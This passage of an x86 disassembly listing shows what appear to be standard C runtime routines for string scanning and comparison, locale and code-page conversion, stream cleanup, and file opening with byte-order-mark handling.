--------------------------------------------------------------------------- loc_41890A: ; CODE XREF: sub_41889F+59j xor eax, eax loc_41890C: ; CODE XREF: sub_41889F+2Ej pop edi pop esi pop ebx retn sub_41889F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_418924: ; CODE XREF: .vty:00418931j mov al, [edx] or al, al jz short loc_418933 add edx, 1 bts [esp], eax jmp short loc_418924 ; --------------------------------------------------------------------------- loc_418933: ; CODE XREF: .vty:00418928j mov esi, [ebp+8] or ecx, 0FFFFFFFFh lea ecx, [ecx+0] loc_41893C: ; CODE XREF: .vty:0041894Cj add ecx, 1 mov al, [esi] or al, al jz short loc_41894E add esi, 1 bt [esp], eax jnb short loc_41893C loc_41894E: ; CODE XREF: .vty:00418943j mov eax, ecx add esp, 20h pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418956 proc near ; CODE XREF: sub_419680+32p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_41896D xor eax, eax jmp loc_418A07 ; --------------------------------------------------------------------------- loc_41896D: ; CODE XREF: sub_418956+Ej cmp ebx, 4 push edi jb short loc_4189E8 lea edi, [ebx-4] test edi, edi jbe short loc_4189E8 mov ecx, [ebp+arg_4] mov eax, [ebp+arg_0] loc_418980: ; CODE XREF: sub_418956+66j mov dl, [eax] add eax, 4 add ecx, 4 test dl, dl jz short loc_4189DE cmp dl, [ecx-4] jnz short loc_4189DE mov dl, [eax-3] test dl, dl jz short loc_4189D4 cmp dl, [ecx-3] jnz short loc_4189D4 mov dl, [eax-2] test dl, dl jz short loc_4189CA cmp dl, [ecx-2] jnz short loc_4189CA mov dl, [eax-1] test dl, dl jz short loc_4189C0 cmp dl, [ecx-1] jnz short loc_4189C0 add [ebp+var_4], 4 cmp [ebp+var_4], edi jb short loc_418980 jmp short loc_4189FF ; --------------------------------------------------------------------------- loc_4189C0: ; CODE XREF: sub_418956+58j ; sub_418956+5Dj movzx eax, byte ptr [eax-1] movzx ecx, byte ptr [ecx-1] jmp short loc_418A10 ; --------------------------------------------------------------------------- loc_4189CA: ; CODE XREF: sub_418956+4Cj ; sub_418956+51j movzx eax, byte ptr [eax-2] movzx ecx, byte ptr [ecx-2] jmp short loc_418A10 ; --------------------------------------------------------------------------- loc_4189D4: ; CODE XREF: sub_418956+40j ; sub_418956+45j movzx eax, byte ptr [eax-3] movzx ecx, byte ptr [ecx-3] jmp short loc_418A10 ; --------------------------------------------------------------------------- loc_4189DE: ; CODE XREF: sub_418956+34j ; sub_418956+39j movzx eax, byte ptr [eax-4] movzx ecx, byte ptr [ecx-4] jmp short loc_418A10 ; --------------------------------------------------------------------------- loc_4189E8: ; CODE XREF: sub_418956+1Bj ; sub_418956+22j mov ecx, [ebp+arg_4] mov eax, [ebp+arg_0] jmp short loc_4189FF ; --------------------------------------------------------------------------- loc_4189F0: ; CODE XREF: sub_418956+ACj mov dl, [eax] test dl, dl jz short loc_418A0A cmp dl, [ecx] jnz short loc_418A0A inc eax inc ecx inc [ebp+var_4] loc_4189FF: ; CODE XREF: sub_418956+68j ; sub_418956+98j cmp [ebp+var_4], ebx jb short loc_4189F0 xor eax, eax loc_418A06: ; CODE XREF: sub_418956+BCj pop edi loc_418A07: ; CODE XREF: sub_418956+12j pop ebx leave retn ; --------------------------------------------------------------------------- loc_418A0A: ; CODE XREF: sub_418956+9Ej ; sub_418956+A2j movzx eax, byte ptr [eax] movzx ecx, byte ptr [ecx] loc_418A10: ; CODE XREF: sub_418956+72j ; sub_418956+7Cj ... sub eax, ecx jmp short loc_418A06 sub_418956 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_418A34: ; CODE XREF: .vty:00418A41j mov al, [edx] or al, al jz short loc_418A43 add edx, 1 bts [esp], eax jmp short loc_418A34 ; --------------------------------------------------------------------------- loc_418A43: ; CODE XREF: .vty:00418A38j mov esi, [ebp+8] mov edi, edi loc_418A48: ; CODE XREF: .vty:00418A55j mov al, [esi] or al, al jz short loc_418A5A add esi, 1 bt [esp], eax jnb short loc_418A48 lea eax, [esi-1] loc_418A5A: ; CODE XREF: .vty:00418A4Cj add esp, 20h pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A60 proc near ; CODE XREF: sub_4135A3+25Ap ; sub_41844E+150p var_C = byte ptr -0Ch var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_4231C4 xor eax, ebp mov [ebp+var_4], eax push 6 lea eax, [ebp+var_C] push eax push 1004h push [ebp+arg_0] mov [ebp+var_6], 0 call dword_41C038 ; GetLocaleInfoA test eax, eax jnz short loc_418A91 or eax, 0FFFFFFFFh jmp short loc_418A9B ; --------------------------------------------------------------------------- loc_418A91: ; CODE XREF: sub_418A60+2Aj lea eax, [ebp+var_C] push eax call sub_41002F pop ecx loc_418A9B: ; CODE XREF: sub_418A60+2Fj mov ecx, [ebp+var_4] xor ecx, ebp call sub_410BCD leave retn sub_418A60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AA7 proc near ; CODE XREF: sub_4135A3+285p ; sub_4135A3+336p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h mov eax, dword_4231C4 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+arg_10] mov [ebp+var_28], eax mov eax, [ebp+arg_C] push ebx mov [ebp+var_30], eax mov eax, [eax] push esi mov [ebp+var_24], eax mov eax, [ebp+arg_0] push edi xor edi, edi cmp eax, [ebp+arg_4] mov [ebp+var_34], ecx mov [ebp+var_20], edi mov [ebp+var_2C], edi jz loc_418C44 mov esi, dword_41C160 lea ecx, [ebp+var_18] push ecx push eax call esi ; GetCPInfo test eax, eax mov ebx, dword_41C174 jz short loc_418B5A cmp [ebp+var_18], 1 jnz short loc_418B5A lea eax, [ebp+var_18] push eax push [ebp+arg_4] call esi ; GetCPInfo test eax, eax jz short loc_418B5A cmp [ebp+var_18], 1 jnz short loc_418B5A mov esi, [ebp+var_24] cmp esi, 0FFFFFFFFh mov [ebp+var_2C], 1 jnz short loc_418B30 push [ebp+var_28] call sub_40D970 mov esi, eax pop ecx inc esi loc_418B30: ; CODE XREF: sub_418AA7+7Bj cmp esi, edi loc_418B32: ; CODE XREF: sub_418AA7+C6j jle short loc_418B8F cmp esi, 7FFFFFF0h ja short loc_418B8F lea eax, [esi+esi+8] cmp eax, 400h ja short loc_418B76 call sub_418C60 mov eax, esp cmp eax, edi jz short loc_418B8A mov dword ptr [eax], 0CCCCh jmp short loc_418B87 ; --------------------------------------------------------------------------- loc_418B5A: ; CODE XREF: sub_418AA7+53j ; sub_418AA7+59j ... push edi push edi push [ebp+var_24] push [ebp+var_28] push 1 push [ebp+arg_0] call ebx ; MultiByteToWideChar mov esi, eax cmp esi, edi jnz short loc_418B32 loc_418B6F: ; CODE XREF: sub_418AA7+EEj xor eax, eax jmp loc_418C47 ; --------------------------------------------------------------------------- loc_418B76: ; CODE XREF: sub_418AA7+9Ej push eax call sub_411069 cmp eax, edi pop ecx jz short loc_418B8A mov dword ptr [eax], 0DDDDh loc_418B87: ; CODE XREF: sub_418AA7+B1j add eax, 8 loc_418B8A: ; CODE XREF: sub_418AA7+A9j ; sub_418AA7+D8j mov [ebp+var_1C], eax jmp short loc_418B92 ; --------------------------------------------------------------------------- loc_418B8F: ; CODE XREF: sub_418AA7:loc_418B32j ; sub_418AA7+93j mov [ebp+var_1C], edi loc_418B92: ; CODE XREF: sub_418AA7+E6j cmp [ebp+var_1C], edi jz short loc_418B6F lea eax, [esi+esi] push eax push edi push [ebp+var_1C] call sub_40DD10 add esp, 0Ch push esi push [ebp+var_1C] push [ebp+var_24] push [ebp+var_28] push 1 push [ebp+arg_0] call ebx ; MultiByteToWideChar test eax, eax jz short loc_418C3B mov ebx, [ebp+var_34] cmp ebx, edi jz short loc_418BE0 push edi push edi push [ebp+arg_14] push ebx push esi push [ebp+var_1C] push edi push [ebp+arg_4] call dword_41C170 ; WideCharToMultiByte test eax, eax jz short loc_418C3B mov [ebp+var_20], ebx jmp short loc_418C3B ; --------------------------------------------------------------------------- loc_418BE0: ; CODE XREF: sub_418AA7+11Aj cmp [ebp+var_2C], edi mov ebx, dword_41C170 jnz short loc_418BFF push edi push edi push edi push edi push esi push [ebp+var_1C] push edi push [ebp+arg_4] call ebx ; WideCharToMultiByte mov esi, eax cmp esi, edi jz short loc_418C3B loc_418BFF: ; CODE XREF: sub_418AA7+142j push esi push 1 call sub_412363 cmp eax, edi pop ecx pop ecx mov [ebp+var_20], eax jz short loc_418C3B push edi push edi push esi push eax push esi push [ebp+var_1C] push edi push [ebp+arg_4] call ebx ; WideCharToMultiByte cmp eax, edi jnz short loc_418C30 push [ebp+var_20] call sub_41112C pop ecx mov [ebp+var_20], edi jmp short loc_418C3B ; --------------------------------------------------------------------------- loc_418C30: ; CODE XREF: sub_418AA7+179j cmp [ebp+var_24], 0FFFFFFFFh jz short loc_418C3B mov ecx, [ebp+var_30] mov [ecx], eax loc_418C3B: ; CODE XREF: sub_418AA7+113j ; sub_418AA7+132j ... push [ebp+var_1C] call sub_413588 pop ecx loc_418C44: ; CODE XREF: sub_418AA7+38j mov eax, [ebp+var_20] loc_418C47: ; CODE XREF: sub_418AA7+CAj lea esp, [ebp-40h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_410BCD leave retn sub_418AA7 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418C60 proc near ; CODE XREF: sub_4135A3+F3p ; sub_4135A3+1B1p ... arg_0 = byte ptr 4 ; FUNCTION CHUNK AT 0041A3D0 SIZE 0000002B BYTES push ecx lea ecx, [esp+4+arg_0] sub ecx, eax and ecx, 0Fh add eax, ecx sbb ecx, ecx or eax, ecx pop ecx jmp loc_41A3D0 sub_418C60 endp ; --------------------------------------------------------------------------- push ecx lea ecx, [esp+8] sub ecx, eax and ecx, 7 add eax, ecx sbb ecx, ecx or eax, ecx pop ecx jmp loc_41A3D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8C proc near ; CODE XREF: sub_413B39+Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset dword_41FDB8 call __SEH_prolog4 xor ebx, ebx mov [ebp+var_1C], ebx push 1 call sub_416DA6 pop ecx mov [ebp+ms_exc.disabled], ebx push 3 pop edi loc_418CAB: ; CODE XREF: sub_418C8C+7Fj mov [ebp+var_20], edi cmp edi, dword_426000 jge short loc_418D0D mov esi, edi shl esi, 2 mov eax, dword_424FE0 add eax, esi cmp [eax], ebx jz short loc_418D0A mov eax, [eax] test byte ptr [eax+0Ch], 83h jz short loc_418CDD push eax call sub_40FD7C pop ecx cmp eax, 0FFFFFFFFh jz short loc_418CDD inc [ebp+var_1C] loc_418CDD: ; CODE XREF: sub_418C8C+40j ; sub_418C8C+4Cj cmp edi, 14h jl short loc_418D0A mov eax, dword_424FE0 mov eax, [esi+eax] add eax, 20h push eax call dword_41C0CC ; RtlDeleteCriticalSection mov eax, dword_424FE0 push dword ptr [esi+eax] call sub_41112C pop ecx mov eax, dword_424FE0 mov [esi+eax], ebx loc_418D0A: ; CODE XREF: sub_418C8C+38j ; sub_418C8C+54j inc edi jmp short loc_418CAB ; --------------------------------------------------------------------------- loc_418D0D: ; CODE XREF: sub_418C8C+28j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_418D22 mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_418C8C endp ; =============== S U B R O U T I N E ======================================= sub_418D22 proc near ; CODE XREF: sub_418C8C+88p ; DATA XREF: .vty:0041FDD0o push 1 call sub_416CCE pop ecx retn sub_418D22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D2B proc near ; CODE XREF: sub_419369+72p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 28h push ebx push esi xor ebx, ebx test byte ptr [ebp+arg_8], 80h push edi push 10h mov esi, eax mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov [ebp+var_2], bl mov [ebp+var_28], 0Ch mov [ebp+var_24], ebx pop edi jz short loc_418D5D mov [ebp+var_20], ebx mov [ebp+var_1], 10h jmp short loc_418D67 ; --------------------------------------------------------------------------- loc_418D5D: ; CODE XREF: sub_418D2B+27j mov [ebp+var_20], 1 mov [ebp+var_1], bl loc_418D67: ; CODE XREF: sub_418D2B+30j lea eax, [ebp+var_14] push eax call sub_41AC7F test eax, eax pop ecx jz short loc_418D82 push ebx push ebx push ebx push ebx push ebx call sub_40DBDC add esp, 14h loc_418D82: ; CODE XREF: sub_418D2B+48j lea eax, [ebp+var_18] push eax call sub_412542 test eax, eax pop ecx jz short loc_418D9D push ebx push ebx push ebx push ebx push ebx call sub_40DBDC add esp, 14h loc_418D9D: ; CODE XREF: sub_418D2B+63j mov eax, 8000h test [ebp+arg_8], eax jnz short loc_418DB9 test [ebp+arg_8], 74000h jnz short loc_418DB5 cmp [ebp+var_14], eax jz short loc_418DB9 loc_418DB5: ; CODE XREF: sub_418D2B+83j or [ebp+var_1], 80h loc_418DB9: ; CODE XREF: sub_418D2B+7Aj ; sub_418D2B+88j mov eax, [ebp+arg_8] push 3 pop edx and eax, edx sub eax, ebx mov ecx, 80000000h jz short loc_418E08 dec eax jz short loc_418DFF dec eax jz short loc_418DF6 loc_418DD0: ; CODE XREF: sub_418D2B+F6j ; sub_418D2B+14Fj ... call sub_40F7B1 mov [eax], ebx or dword ptr [esi], 0FFFFFFFFh call sub_40F79E push 16h pop esi push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40DCD8 add esp, 14h jmp loc_419285 ; --------------------------------------------------------------------------- loc_418DF6: ; CODE XREF: sub_418D2B+A3j mov [ebp+var_C], 0C0000000h jmp short loc_418E0B ; --------------------------------------------------------------------------- loc_418DFF: ; CODE XREF: sub_418D2B+A0j mov [ebp+var_C], 40000000h jmp short loc_418E0B ; --------------------------------------------------------------------------- loc_418E08: ; CODE XREF: sub_418D2B+9Dj mov [ebp+var_C], ecx loc_418E0B: ; CODE XREF: sub_418D2B+D2j ; sub_418D2B+DBj mov eax, [ebp+arg_C] sub eax, edi jz short loc_418E47 sub eax, edi jz short loc_418E3E sub eax, edi jz short loc_418E35 sub eax, edi jz short loc_418E30 sub eax, 40h jnz short loc_418DD0 xor eax, eax cmp [ebp+var_C], ecx setz al mov [ebp+var_8], eax jmp short loc_418E4A ; --------------------------------------------------------------------------- loc_418E30: ; CODE XREF: sub_418D2B+F1j mov [ebp+var_8], edx jmp short loc_418E4A ; --------------------------------------------------------------------------- loc_418E35: ; CODE XREF: sub_418D2B+EDj mov [ebp+var_8], 2 jmp short loc_418E4A ; --------------------------------------------------------------------------- loc_418E3E: ; CODE XREF: sub_418D2B+E9j mov [ebp+var_8], 1 jmp short loc_418E4A ; --------------------------------------------------------------------------- loc_418E47: ; CODE XREF: sub_418D2B+E5j mov [ebp+var_8], ebx loc_418E4A: ; CODE XREF: sub_418D2B+103j ; sub_418D2B+108j ... mov eax, [ebp+arg_8] mov edx, 700h and eax, edx mov ecx, 400h cmp eax, ecx jg short loc_418E9B jz short loc_418E92 cmp eax, ebx jz short loc_418E92 cmp eax, 100h jz short loc_418E89 cmp eax, 200h jz loc_418F0D cmp eax, 300h jnz loc_418DD0 mov [ebp+var_10], 2 jmp short loc_418EB8 ; --------------------------------------------------------------------------- loc_418E89: ; CODE XREF: sub_418D2B+13Dj mov [ebp+var_10], 4 jmp short loc_418EB8 ; --------------------------------------------------------------------------- loc_418E92: ; CODE XREF: sub_418D2B+132j ; sub_418D2B+136j mov [ebp+var_10], 3 jmp short loc_418EB8 ; --------------------------------------------------------------------------- loc_418E9B: ; CODE XREF: sub_418D2B+130j cmp eax, 500h jz short loc_418EB1 cmp eax, 600h jz short loc_418F0D cmp eax, edx jnz loc_418DD0 loc_418EB1: ; CODE XREF: sub_418D2B+175j mov [ebp+var_10], 1 loc_418EB8: ; CODE XREF: sub_418D2B+15Cj ; sub_418D2B+165j ... mov ecx, [ebp+arg_8] mov eax, 100h test ecx, eax mov edi, 80h jz short loc_418EDB mov edx, dword_4243B4 not edx and edx, [ebp+arg_10] test dl, dl js short loc_418EDB xor edi, edi inc edi loc_418EDB: ; CODE XREF: sub_418D2B+19Cj ; sub_418D2B+1ABj test cl, 40h jz short loc_418EF7 or [ebp+var_C], 10000h or edi, 4000000h cmp [ebp+var_18], 2 jnz short loc_418EF7 or [ebp+var_8], 4 loc_418EF7: ; CODE XREF: sub_418D2B+1B3j ; sub_418D2B+1C6j test cx, 1000h jz short loc_418F00 or edi, eax loc_418F00: ; CODE XREF: sub_418D2B+1D1j test cl, 20h jz short loc_418F16 or edi, 8000000h jmp short loc_418F21 ; --------------------------------------------------------------------------- loc_418F0D: ; CODE XREF: sub_418D2B+144j ; sub_418D2B+17Cj mov [ebp+var_10], 5 jmp short loc_418EB8 ; --------------------------------------------------------------------------- loc_418F16: ; CODE XREF: sub_418D2B+1D8j test cl, 10h jz short loc_418F21 or edi, 10000000h loc_418F21: ; CODE XREF: sub_418D2B+1E0j ; sub_418D2B+1EEj call sub_419F38 cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_418F44 call sub_40F7B1 mov [eax], ebx or dword ptr [esi], 0FFFFFFFFh call sub_40F79E mov dword ptr [eax], 18h jmp short loc_418F94 ; --------------------------------------------------------------------------- loc_418F44: ; CODE XREF: sub_418D2B+200j mov eax, [ebp+arg_0] push ebx push edi push [ebp+var_10] mov dword ptr [eax], 1 lea eax, [ebp+var_28] push eax push [ebp+var_8] push [ebp+var_C] push [ebp+arg_4] call dword_41C034 ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_418FA0 mov esi, [esi] mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 mov eax, dword_424EE0[eax*4] lea eax, [eax+esi+4] and byte ptr [eax], 0FEh loc_418F87: ; CODE XREF: sub_418D2B+2A2j call dword_41C0A4 ; RtlGetLastWin32Error push eax call sub_40F7C4 loc_418F93: ; CODE XREF: sub_418D2B+345j pop ecx loc_418F94: ; CODE XREF: sub_418D2B+217j call sub_40F79E mov eax, [eax] jmp loc_419364 ; --------------------------------------------------------------------------- loc_418FA0: ; CODE XREF: sub_418D2B+23Fj push edi call dword_41C1A0 ; GetFileType cmp eax, ebx jnz short loc_418FCF mov esi, [esi] mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 mov eax, dword_424EE0[eax*4] lea eax, [eax+esi+4] and byte ptr [eax], 0FEh push edi call dword_41C0D4 ; CloseHandle jmp short loc_418F87 ; --------------------------------------------------------------------------- loc_418FCF: ; CODE XREF: sub_418D2B+27Ej cmp eax, 2 jnz short loc_418FDA or [ebp+var_1], 40h jmp short loc_418FE3 ; --------------------------------------------------------------------------- loc_418FDA: ; CODE XREF: sub_418D2B+2A7j cmp eax, 3 jnz short loc_418FE3 or [ebp+var_1], 8 loc_418FE3: ; CODE XREF: sub_418D2B+2ADj ; sub_418D2B+2B2j push edi push dword ptr [esi] call sub_419D07 mov eax, [esi] mov edx, eax and eax, 1Fh imul eax, 28h sar edx, 5 mov edx, dword_424EE0[edx*4] pop ecx pop ecx mov cl, [ebp+var_1] or cl, 1 mov [edx+eax+4], cl mov eax, [esi] mov edx, eax and eax, 1Fh imul eax, 28h sar edx, 5 mov edx, dword_424EE0[edx*4] lea eax, [edx+eax+24h] and byte ptr [eax], 80h mov [ebp+var_3], cl and [ebp+var_3], 48h mov [ebp+var_1], cl jnz loc_4190B6 test cl, 80h jz loc_4192F0 test byte ptr [ebp+arg_8], 2 jz short loc_4190B6 push 2 or edi, 0FFFFFFFFh push edi push dword ptr [esi] call sub_41AB51 add esp, 0Ch cmp eax, edi mov [ebp+var_8], eax jnz short loc_419075 call sub_40F7B1 cmp dword ptr [eax], 83h jz short loc_4190B6 loc_419069: ; CODE XREF: sub_418D2B+379j ; sub_418D2B+389j ... push dword ptr [esi] call sub_414C65 jmp loc_418F93 ; --------------------------------------------------------------------------- loc_419075: ; CODE XREF: sub_418D2B+32Fj push 1 lea eax, [ebp+var_4] push eax push dword ptr [esi] mov [ebp+var_4], bl call sub_41A5AF add esp, 0Ch test eax, eax jnz short loc_4190A6 cmp [ebp+var_4], 1Ah jnz short loc_4190A6 mov eax, [ebp+var_8] cdq push edx push eax push dword ptr [esi] call sub_41A3FB add esp, 0Ch cmp eax, edi jz short loc_419069 loc_4190A6: ; CODE XREF: sub_418D2B+35Fj ; sub_418D2B+365j push ebx push ebx push dword ptr [esi] call sub_41AB51 add esp, 0Ch cmp eax, edi jz short loc_419069 loc_4190B6: ; CODE XREF: sub_418D2B+305j ; sub_418D2B+318j ... test [ebp+var_1], 80h jz loc_4192F0 mov ecx, 74000h test [ebp+arg_8], ecx mov edi, 4000h jnz short loc_4190DE mov eax, [ebp+var_14] and eax, ecx jnz short loc_4190DB or [ebp+arg_8], edi jmp short loc_4190DE ; --------------------------------------------------------------------------- loc_4190DB: ; CODE XREF: sub_418D2B+3A9j or [ebp+arg_8], eax loc_4190DE: ; CODE XREF: sub_418D2B+3A2j ; sub_418D2B+3AEj mov eax, [ebp+arg_8] and eax, ecx cmp eax, edi jz short loc_41912B cmp eax, 10000h jz short loc_419117 cmp eax, 14000h jz short loc_419117 cmp eax, 20000h jz short loc_419125 cmp eax, 24000h jz short loc_419125 cmp eax, 40000h jz short loc_419111 cmp eax, 44000h jnz short loc_41912E loc_419111: ; CODE XREF: sub_418D2B+3DDj mov [ebp+var_2], 1 jmp short loc_41912E ; --------------------------------------------------------------------------- loc_419117: ; CODE XREF: sub_418D2B+3C1j ; sub_418D2B+3C8j mov ecx, [ebp+arg_8] mov eax, 301h and ecx, eax cmp ecx, eax jnz short loc_41912E loc_419125: ; CODE XREF: sub_418D2B+3CFj ; sub_418D2B+3D6j mov [ebp+var_2], 2 jmp short loc_41912E ; --------------------------------------------------------------------------- loc_41912B: ; CODE XREF: sub_418D2B+3BAj mov [ebp+var_2], bl loc_41912E: ; CODE XREF: sub_418D2B+3E4j ; sub_418D2B+3EAj ... test [ebp+arg_8], 70000h jz loc_4192F0 test [ebp+var_1], 40h mov [ebp+var_8], ebx jnz loc_4192F0 mov eax, [ebp+var_C] mov ecx, 0C0000000h and eax, ecx cmp eax, 40000000h jz loc_419214 cmp eax, 80000000h jz short loc_4191DB cmp eax, ecx jnz loc_4192F0 mov eax, [ebp+var_10] cmp eax, ebx jbe loc_4192F0 cmp eax, 2 jbe short loc_41918A cmp eax, 4 jbe short loc_4191B1 loc_419181: ; CODE XREF: sub_418D2B+500j cmp eax, 5 jnz loc_4192F0 loc_41918A: ; CODE XREF: sub_418D2B+44Fj ; sub_418D2B+496j ... movsx eax, [ebp+var_2] xor edi, edi dec eax jz loc_4192BD dec eax jnz loc_4192F0 mov [ebp+var_8], 0FEFFh mov [ebp+var_10], 2 jmp loc_4192CB ; --------------------------------------------------------------------------- loc_4191B1: ; CODE XREF: sub_418D2B+454j push 2 push ebx push ebx push dword ptr [esi] call sub_4178D6 add esp, 10h or eax, edx jz short loc_41918A push ebx push ebx push ebx push dword ptr [esi] call sub_4178D6 and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh jz loc_419069 loc_4191DB: ; CODE XREF: sub_418D2B+437j push 3 lea eax, [ebp+var_8] push eax push dword ptr [esi] call sub_41A5AF add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_419069 cmp eax, 2 jz short loc_419264 cmp eax, 3 jnz loc_4192AF cmp [ebp+var_8], 0BFBBEFh jnz short loc_419264 mov [ebp+var_2], 1 jmp loc_4192F0 ; --------------------------------------------------------------------------- loc_419214: ; CODE XREF: sub_418D2B+42Cj mov eax, [ebp+var_10] cmp eax, ebx jbe loc_4192F0 cmp eax, 2 jbe loc_41918A cmp eax, 4 ja loc_419181 push 2 push ebx push ebx push dword ptr [esi] call sub_4178D6 add esp, 10h or eax, edx jz loc_41918A push ebx push ebx push ebx push dword ptr [esi] call sub_4178D6 add esp, 10h and eax, edx loc_419256: ; CODE XREF: sub_418D2B+590j cmp eax, 0FFFFFFFFh jnz loc_4192F0 jmp loc_419069 ; --------------------------------------------------------------------------- loc_419264: ; CODE XREF: sub_418D2B+4CCj ; sub_418D2B+4DEj mov eax, [ebp+var_8] and eax, 0FFFFh cmp eax, 0FFFEh jnz short loc_41928C push dword ptr [esi] call sub_414C65 pop ecx call sub_40F79E push 16h pop esi mov [eax], esi loc_419285: ; CODE XREF: sub_418D2B+C6j mov eax, esi jmp loc_419364 ; --------------------------------------------------------------------------- loc_41928C: ; CODE XREF: sub_418D2B+546j cmp eax, 0FEFFh jnz short loc_4192AF push ebx push 2 push dword ptr [esi] call sub_41AB51 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_419069 mov [ebp+var_2], 2 jmp short loc_4192F0 ; --------------------------------------------------------------------------- loc_4192AF: ; CODE XREF: sub_418D2B+4D1j ; sub_418D2B+566j push ebx push ebx push dword ptr [esi] call sub_41AB51 add esp, 0Ch jmp short loc_419256 ; --------------------------------------------------------------------------- loc_4192BD: ; CODE XREF: sub_418D2B+466j mov [ebp+var_8], 0BFBBEFh mov [ebp+var_10], 3 loc_4192CB: ; CODE XREF: sub_418D2B+481j ; sub_418D2B+5C3j mov eax, [ebp+var_10] sub eax, edi push eax lea eax, [ebp+edi+var_8] push eax push dword ptr [esi] call sub_4149D5 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_419069 add edi, eax cmp [ebp+var_10], edi jg short loc_4192CB loc_4192F0: ; CODE XREF: sub_418D2B+30Ej ; sub_418D2B+38Fj ... mov eax, [esi] mov ecx, eax and eax, 1Fh imul eax, 28h sar ecx, 5 mov ecx, dword_424EE0[ecx*4] lea eax, [ecx+eax+24h] mov cl, [eax] xor cl, [ebp+var_2] and cl, 7Fh xor [eax], cl mov eax, [esi] mov ecx, eax and eax, 1Fh imul eax, 28h sar ecx, 5 mov ecx, dword_424EE0[ecx*4] lea eax, [ecx+eax+24h] mov ecx, [ebp+arg_8] mov dl, [eax] shr ecx, 10h shl cl, 7 and dl, 7Fh or cl, dl cmp [ebp+var_3], bl mov [eax], cl jnz short loc_419362 test byte ptr [ebp+arg_8], 8 jz short loc_419362 mov esi, [esi] mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 mov eax, dword_424EE0[eax*4] lea eax, [eax+esi+4] or byte ptr [eax], 20h loc_419362: ; CODE XREF: sub_418D2B+614j ; sub_418D2B+61Aj mov eax, ebx loc_419364: ; CODE XREF: sub_418D2B+270j ; sub_418D2B+55Cj pop edi pop esi pop ebx leave retn sub_418D2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419369 proc near ; CODE XREF: sub_419435+14p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push 14h push offset dword_41FDD8 call __SEH_prolog4 xor esi, esi mov [ebp+var_1C], esi xor eax, eax mov edi, [ebp+arg_10] cmp edi, esi setnz al cmp eax, esi jnz short loc_4193A3 loc_419388: ; CODE XREF: sub_419369+47j ; sub_419369+5Bj call sub_40F79E push 16h pop edi mov [eax], edi push esi push esi push esi push esi push esi call sub_40DCD8 add esp, 14h mov eax, edi jmp short loc_4193FC ; --------------------------------------------------------------------------- loc_4193A3: ; CODE XREF: sub_419369+1Dj or dword ptr [edi], 0FFFFFFFFh xor eax, eax cmp [ebp+arg_0], esi setnz al cmp eax, esi jz short loc_419388 cmp [ebp+arg_14], esi jz short loc_4193C6 mov eax, [ebp+arg_C] and eax, 0FFFFFE7Fh neg eax sbb eax, eax inc eax jz short loc_419388 loc_4193C6: ; CODE XREF: sub_419369+4Cj mov [ebp+ms_exc.disabled], esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_1C] push eax mov eax, edi call sub_418D2B add esp, 14h mov [ebp+var_20], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_419407 mov eax, [ebp+var_20] cmp eax, esi jz short loc_4193FC or dword ptr [edi], 0FFFFFFFFh loc_4193FC: ; CODE XREF: sub_419369+38j 